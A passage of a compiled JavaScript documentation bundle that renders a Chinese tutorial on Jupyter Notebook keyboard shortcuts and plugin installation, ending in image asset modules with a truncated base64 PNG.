\u8fd0\u884c\u672c\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Alt-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143\uff0c\u5728\u5176\u4e0b\u63d2\u5165\u65b0\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Y"})," : \u5355\u5143\u8f6c\u5165\u4ee3\u7801\u72b6\u6001"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"M"})," :\u5355\u5143\u8f6c\u5165markdown\u72b6\u6001"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"R"})," : \u5355\u5143\u8f6c\u5165raw\u72b6\u6001"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"1"})," : \u8bbe\u5b9a 1 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"2"})," : \u8bbe\u5b9a 2 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"3"})," : \u8bbe\u5b9a 3 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"4"})," : \u8bbe\u5b9a 4 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"5"})," : \u8bbe\u5b9a 5 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"6"})," : \u8bbe\u5b9a 6 \u7ea7\u6807\u9898"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Up"})," : \u9009\u4e2d\u4e0a\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"K"})," : \u9009\u4e2d\u4e0a\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Down"})," : \u9009\u4e2d\u4e0b\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"J"})," : \u9009\u4e2d\u4e0b\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-K"})," : \u6269\u5927\u9009\u4e2d\u4e0a\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-J"})," : \u6269\u5927\u9009\u4e2d\u4e0b\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"A"})," : \u5728\u4e0a\u65b9\u63d2\u5165\u65b0\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"B"})," : \u5728\u4e0b\u65b9\u63d2\u5165\u65b0\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"X"})," : \u526a\u5207\u9009\u4e2d\u7684\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"C"})," : \u590d\u5236\u9009\u4e2d\u7684\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-V"})," : \u7c98\u8d34\u5230\u4e0a\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"V"})," : \u7c98\u8d34\u5230\u4e0b\u65b9\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Z"})," : \u6062\u590d\u5220\u9664\u7684\u6700\u540e\u4e00\u4e2a\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"D,D"})," : \u5220\u9664\u9009\u4e2d\u7684\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-M"})," : \u5408\u5e76\u9009\u4e2d\u7684\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-S"})," : \u6587\u4ef6\u5b58\u76d8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"S"})," : \u6587\u4ef6\u5b58\u76d8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"L"})," : \u8f6c\u6362\u884c\u53f7"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"O"})," : \u8f6c\u6362\u8f93\u51fa"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-O"})," : \u8f6c\u6362\u8f93\u51fa\u6eda\u52a8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Esc"})," : \u5173\u95ed\u9875\u9762"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Q"})," : \u5173\u95ed\u9875\u9762"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"H"})," : \u663e\u793a\u5feb\u6377\u952e\u5e2e\u52a9"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"I,I"})," : \u4e2d\u65adNotebook\u5185\u6838"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"0,0"})," : \u91cd\u542fNotebook\u5185\u6838"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift"})," : \u5ffd\u7565"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-Space"})," : \u5411\u4e0a\u6eda\u52a8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Space"})," : \u5411\u4e0b\u6eda\u52a8"]}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u200b\t\t\u7f16\u8f91\u6a21\u5f0f\uff08\u6309",(0,i.jsx)(n.code,{children:"Enter"}),"\uff09"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Tab"})," : \u4ee3\u7801\u8865\u5168\u6216\u7f29\u8fdb"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-Tab"})," : \u63d0\u793a"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-]"})," : \u7f29\u8fdb"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-["})," : \u89e3\u9664\u7f29\u8fdb"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-A"})," : \u5168\u9009"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Z"})," : \u590d\u539f"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Shift-Z"})," : \u518d\u505a"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Y"})," : \u518d\u505a"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Home"})," : \u8df3\u5230\u5355\u5143\u5f00\u5934"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Up"})," : \u8df3\u5230\u5355\u5143\u5f00\u5934"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-End"})," : \u8df3\u5230\u5355\u5143\u672b\u5c3e"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Down"})," : \u8df3\u5230\u5355\u5143\u672b\u5c3e"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Left"})," : \u8df3\u5230\u5de6\u8fb9\u4e00\u4e2a\u5b57\u9996"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Right"})," : \u8df3\u5230\u53f3\u8fb9\u4e00\u4e2a\u5b57\u9996"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Backspace"})," : \u5220\u9664\u524d\u9762\u4e00\u4e2a\u5b57"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Delete"})," : \u5220\u9664\u540e\u9762\u4e00\u4e2a\u5b57"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Esc"})," : \u8fdb\u5165\u547d\u4ee4\u6a21\u5f0f"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-M"})," : \u8fdb\u5165\u547d\u4ee4\u6a21\u5f0f"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143\uff0c\u9009\u4e2d\u4e0b\u4e00\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Alt-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143\uff0c\u5728\u4e0b\u9762\u63d2\u5165\u4e00\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Shift--"})," : \u5206\u5272\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Shift-Subtract"})," : \u5206\u5272\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-S"})," : \u6587\u4ef6\u5b58\u76d8"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift"})," : \u5ffd\u7565"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Up"})," : \u5149\u6807\u4e0a\u79fb\u6216\u8f6c\u5165\u4e0a\u4e00\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Down"})," :\u5149\u6807\u4e0b\u79fb\u6216\u8f6c\u5165\u4e0b\u4e00\u5355\u5143"]}),"\n"]}),"\n",(0,i.jsx)(n.h3,{id:"33-\u5b89\u88c5\u63d2\u4ef6",children:"3.3 \u5b89\u88c5\u63d2\u4ef6"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"Jupyter Notebook\u5b89\u88c5\u63d2\u4ef6\u7684\u65b9\u6cd5"}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5728Anaconda Powershell Prompt\u4e2d\u8f93\u5165"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"pip install jupyter_contrib_nbextensions\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u518d\u6b21\u8f93\u5165\u4ee5\u4e0b\u6307\u4ee4\uff0c\u5c06\u63d2\u4ef6\u6dfb\u52a0\u5230\u5de5\u5177\u680f"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter contrib nbextension install\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u6253\u5f00Jupyter Notebook\uff0c\u70b9\u51fbNbextensions\uff0c\u53d6\u6d88\u52fe\u9009",(0,i.jsx)(n.code,{children:"disable configuration for nbextensions without explicit compatibility"}),"\uff0c\u6b64\u65f6\u53ef\u4ee5\u6dfb\u52a0\u81ea\u5df1\u559c\u6b22\u7684\u63d2\u4ef6\u5566\uff01"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805151600140.png",alt:"image-20220805151600140",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"4",children:["\n",(0,i.jsx)(n.li,{children:"\u63a8\u8350\u4ee5\u4e0b\u4e24\u4e2a\u57fa\u7840\u63d2\u4ef6"}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"Execute Time\uff1a\u53ef\u4ee5\u663e\u793a\u6267\u884c\u4e00\u4e2aCell\u8981\u82b1\u8d39\u591a\u5c11\u65f6\u95f4"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"Hinterland\uff1a\u63d0\u4f9b\u4ee3\u7801\u8865\u5168\u529f\u80fd"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"Jupyter Lab\u5b89\u88c5\u63d2\u4ef6\u7684\u65b9\u6cd5"}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:"Jupyter Lab\u5b89\u88c5\u63d2\u4ef6\u70b9\u51fb\u5de6\u4fa7\u7684\u7b2c\u56db\u4e2a\u6807\u5fd7\uff0c\u70b9\u51fb\u201cEnable\u201d\u540e\u5c31\u53ef\u4ee5\u5728\u641c\u7d22\u680f\u4e2d\u641c\u7d22\u60f3\u8981\u7684\u63d2\u4ef6"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805152331777.png",alt:"image-20220805152331777",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsxs)(n.li,{children:["\u4f8b\u5982\u641c\u7d22",(0,i.jsx)(n.code,{children:"jupyterlab-execute-time"}),"\u540e\uff0c\u5728Search Results\u4e2d\u67e5\u770b\u7ed3\u679c\uff0c\u70b9\u51fbInstall\u4fbf\u53ef\u5b89\u88c5\u63d2\u4ef6"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805152507891.png",alt:"image-20220805152507891",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"3",children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u8fd8\u53ef\u4ee5\u5728Anaconda Powershell Prompt\u4e2d\u4f7f\u7528\u6307\u4ee4\u6765\u5b89\u88c5\u63d2\u4ef6"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter labextension install jupyterlab-execute-time # \u5b89\u88c5jupyterlab-execute-time\n"})}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"4-\u8fdb\u9636\u64cd\u4f5c",children:"4 \u8fdb\u9636\u64cd\u4f5c"}),"\n",(0,i.jsx)(n.p,{children:"\u200b\t\t\u9664\u4e86\u4ee5\u4e0a\u64cd\u4f5c\uff0cJupyter Notebook\u8fd8\u6709\u8bb8\u591a\u4e30\u5bcc\u7684\u5185\u5bb9\u7b49\u5f85\u5927\u5bb6\u63a2\u7d22\u3002\u5982Bash\u547d\u4ee4\u3001\u9b54\u672f\u547d\u4ee4\u7b49\u3002\u6211\u4eec\u4e3a\u5927\u5bb6\u63d0\u4f9b\u4e86\u4e00\u4efd\u5728Notebook\u4e2d\u7f16\u5199\u7684\u8fdb\u9636\u64cd\u4f5c\uff0c\u5feb\u6765\u8bd5\u8bd5\u770b\u5427~"}),"\n",(0,i.jsxs)(n.p,{children:["\u200b\t\t",(0,i.jsx)(n.a,{href:"https://github.com/datawhalechina/thorough-pytorch/blob/main/notebook/%E7%AC%AC%E9%9B%B6%E7%AB%A0%20%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86%E8%A1%A5%E5%85%85/%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C.ipynb",children:"\u70b9\u51fb\u67e5\u770b\u8fdb\u9636\u6559\u7a0b"})]}),"\n",(0,i.jsx)(n.h2,{id:"5-\u53c2\u8003\u8d44\u6599",children:"5 \u53c2\u8003\u8d44\u6599"}),"\n",(0,i.jsxs)(n.p,{children:["\u30101\u3011",(0,i.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/33105153",children:"Jupyter Notebook\u4ecb\u7ecd\u3001\u5b89\u88c5\u53ca\u4f7f\u7528\u6559\u7a0b - \u77e5\u4e4e (zhihu.com)"})]})]})}function h(A={}){const{wrapper:n}={...(0,l.R)(),...A.components};return n?(0,i.jsx)(n,{...A,children:(0,i.jsx)(o,{...A})}):o(A)}},43972:(A,n,e)=>{e.d(n,{A:()=>s});const s=e.p+"assets/images/image-20220812162810305-1c4fe40ac1c4edf18a0410f181e5f192.png"},54822:(A,n,e)=>{e.d(n,{A:()=>s});const s="data:image/png;base64,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